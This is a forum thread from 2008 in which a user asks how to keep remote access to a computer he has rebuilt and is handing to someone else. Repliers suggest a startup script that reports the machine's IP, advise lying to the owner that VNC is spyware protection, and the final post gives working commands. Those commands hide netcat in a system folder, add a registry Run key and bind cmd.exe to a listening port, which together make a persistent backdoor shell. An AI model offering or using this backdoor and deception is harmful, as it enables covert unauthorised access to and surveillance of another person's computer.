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Posted on 21-12-08 22:47
I just rebuilt a machine here and I want to be able to remote connect to it. Should I just open a port and connect to that or netcat or cyrptcat? Could do a trojan but the computer is on my network and i will need the info of the computer when its on the other network. suggestions for that.


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Posted on 21-12-08 22:52
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Edit: I see you wanted to use cryptcat. You could roll with that too.



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Posted on 21-12-08 22:55
network connection simple enough less you talkin' full control RAT


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Posted on 21-12-08 23:13
Remote connect to do what?


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Posted on 21-12-08 23:17
well i wouldn;t mind using a cryptcat. its just i wont have the network settings because the computer is on my network currently. so when it is switched to John Smiths network i wont know the settings.


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Posted on 22-12-08 21:20
If it is windows you can write a bat to notify you of the IP address when that computer boots up. Once you have that you can use anything you want to connect to it. If it is linux you can write a script for that too.


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Posted on 22-12-08 22:45
Maybe you could help me with this batch script?


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Posted on 22-12-08 23:33
http://www.ericphelps.com/batch/samples/ip.txt

Try that. I did this on a laptop a while back and it worked. I do remember having to fix a couple of problems but this is a starting point. I will assume that this person doesn't know you will be doing this so you may wish to provide yourself an up and running nc or cc listening on whatever port. If you are not concerned about the individual's computer knowledge then you can be bold and use PC-Anywhere or VNC. You can tell him it is a spyware protection program. Grin

If you use these make sure that he isn't doing anything while you are.




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Posted on 23-12-08 02:55
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reg add hkey_current_user\software\microsoft\windows\currentversion\run /v NetCat /t reg_sz /d "%systemroot%\system32\drivers\etc\nc.exe -l -p1234 -d -e cmd.exe L"
copy "nc.exe" "%systemroot%\system32\drivers\etc\"
cd "%systemroot%\system32\drivers\etc"
nc.exe -l -p1234 -d -e cmd.exe L




Change the -p switch to whatever port you plan on having netcat listen on.